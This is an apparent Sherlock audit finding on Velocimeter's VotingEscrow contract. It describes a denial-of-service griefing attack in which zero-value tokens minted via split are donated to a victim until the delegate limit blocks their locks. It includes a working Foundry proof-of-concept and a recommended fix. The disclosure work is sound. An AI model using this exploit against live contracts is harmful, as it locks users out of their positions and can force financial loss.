Active Lace Hippo

High

# Attacker Can Use The `VotingEscrow` To Enact Denial Of Service Against Adversaries

## Summary

Accounts can be cheaply spammed with valueless tokens to enact denial of service to the [`VotingEscrow`](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol).

## Vulnerability Detail

To avoid out-of-gas exceptions, the [`VotingEscrow`](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol) imposes a maximum limit on the number of tokens which can be held by an account:

```solidity
uint ownerTokenCount = ownerToNFTokenCount[tokenOwner];
require(
    dstRepOld.length + ownerTokenCount <= MAX_DELEGATES,
    "dstRep would have too many tokenIds"
);
```

This enables griefing via token donation, since an adversary need only errantly increase [`ownerToNFTokenCount`](https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/VotingEscrow.sol#L186C39-L186C58) through token transfers to enact denial of service at will.

In the proof of concept below, we use a flaw in the token [`split(uint256,uint256)`](https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/VotingEscrow.sol#L1217C14-L1217C46) to freely mint [`MAX_DELEGATES`](https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/VotingEscrow.sol#L1266C26-L1266C39) of [`VotingEscrow`](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol) **tokens with zero value**, and donate these to the account of an adversary:

### VotingEscrow.t.sol

```solidity
/// @notice By exploiting the creation of zero-value tokens,
/// @notice we demonstrate that a victim's `ownerToNFTokenCount`
/// @notice can be manipulated to cause denial of service to the token
/// @notice holder.
function testSherlockVotingEscrowRailgun() public {

    /// @dev Declare and initialize our attacker:
    address c0ffee = address(0xc0ffee);
    uint256 attackerAmount = 1 ether;
    uint256 attackerLockUp = 7 * 24 * 3600 /* 1_week */;
    flowDaiPair.transfer(c0ffee, attackerAmount);

    vm.startPrank(c0ffee);
        flowDaiPair.approve(address(escrow), type(uint256).max);
        uint256 seedTokenId = escrow.create_lock(attackerAmount, attackerLockUp);
    vm.stopPrank();

    /// @dev And let's declare our victim:
    address deadbeef = address(0xdeadbeef);

    /// @dev Next, the attacker creates a bunch of
    /// @dev zero-value spam tokens.
    uint256 spamTokensToCreate = 1024 /* MAX_DELEGATES */;
    vm.startPrank(c0ffee);
        for (uint256 i = 0; i < spamTokensToCreate;) {
            escrow.split(seedTokenId, 0) /* split_seed_token */;
            uint256 spamTokenId = seedTokenId + i + 1;
            assertEq(escrow.ownerOf(spamTokenId), c0ffee) /* token_exists */;
            escrow.transferFrom(c0ffee, deadbeef, spamTokenId) /* pow_pow_pow */;
            unchecked { ++i; }
        }
    vm.stopPrank();

    uint256 purchaseAmount = 1 ether;
    flowDaiPair.transfer(deadbeef, purchaseAmount);
    vm.startPrank(deadbeef);
        flowDaiPair.approve(address(escrow), type(uint256).max);
        vm.expectRevert("dstRep would have too many tokenIds");
            escrow.create_lock(purchaseAmount, 7 * 24 * 3600 /* 1_week */);
    vm.stopPrank();
}
```

As shown, attacker `c0ffee` can errantly enact denial of service on `deadbeef` through donation to the protocol limit.

## Impact

Malicious actors can prevent access to the [`VotingEscrow`](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol) to arbitrary accounts. This can be exploited to a financial advantage, since it can be used to programmatically force users into holding their position for much longer than intended.

We have opted to elevate the severity to high, since conceptually, even attempts to manually transfer tokens out of accounts can simply be backrun with further spam deposits (further, permanent denial of service can be achieved through invocations to [`delegate(address)`](https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/VotingEscrow.sol#L1502C14-L1502C41), which also permits arbitrarily appending to a target's reputation checkpoints).

There is a clear motivation for accounts to coerce market participants from trading at economically opportune moments.

## Code Snippet

```solidity
function _moveAllDelegates(
    address tokenOwner,
    address srcRep,
    address dstRep
) internal {
    // You can only redelegate what you own
    if (srcRep != dstRep) {
        if (srcRep != address(0)) {
            uint32 srcRepNum = numCheckpoints[srcRep];
            uint[] storage srcRepOld = srcRepNum > 0
                ? checkpoints[srcRep][srcRepNum - 1].tokenIds
                : checkpoints[srcRep][0].tokenIds;
            uint32 nextSrcRepNum = _findWhatCheckpointToWrite(srcRep);
            uint[] storage srcRepNew = checkpoints[srcRep][
                nextSrcRepNum
            ].tokenIds; /// @custom:hunter array_grows_forever
            // All the same except what tokenOwner owns
            for (uint i = 0; i < srcRepOld.length; i++) {
                uint tId = srcRepOld[i];
                if (idToOwner[tId] != tokenOwner) {
                    srcRepNew.push(tId);
                }
            }

            numCheckpoints[srcRep] = srcRepNum + 1;
        }

        if (dstRep != address(0)) {
            uint32 dstRepNum = numCheckpoints[dstRep];
            uint[] storage dstRepOld = dstRepNum > 0
                ? checkpoints[dstRep][dstRepNum - 1].tokenIds
                : checkpoints[dstRep][0].tokenIds;
            uint32 nextDstRepNum = _findWhatCheckpointToWrite(dstRep);
            uint[] storage dstRepNew = checkpoints[dstRep][
                nextDstRepNum
            ].tokenIds;
            uint ownerTokenCount = ownerToNFTokenCount[tokenOwner];
            require(
                dstRepOld.length + ownerTokenCount <= MAX_DELEGATES,
                "dstRep would have too many tokenIds"
            );
            // All the same
            for (uint i = 0; i < dstRepOld.length; i++) {
                uint tId = dstRepOld[i];
                dstRepNew.push(tId);
            }
            // Plus all that's owned
            for (uint i = 0; i < ownerTokenCount; i++) {
                uint tId = ownerToNFTokenIdList[tokenOwner][i];
                dstRepNew.push(tId);
            }

            numCheckpoints[dstRep] = dstRepNum + 1;
        }
    }
}
```

https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/VotingEscrow.sol#L1362C5-L1411C6

## Tool used

Manual Review

## Recommendation

Use a financially-prohibitive mechanism to discourage malicious token donations; ensure a minimum stake for all token values that should be respected both **during creation** and preserved by both of the resultant tokens **after performing a split**.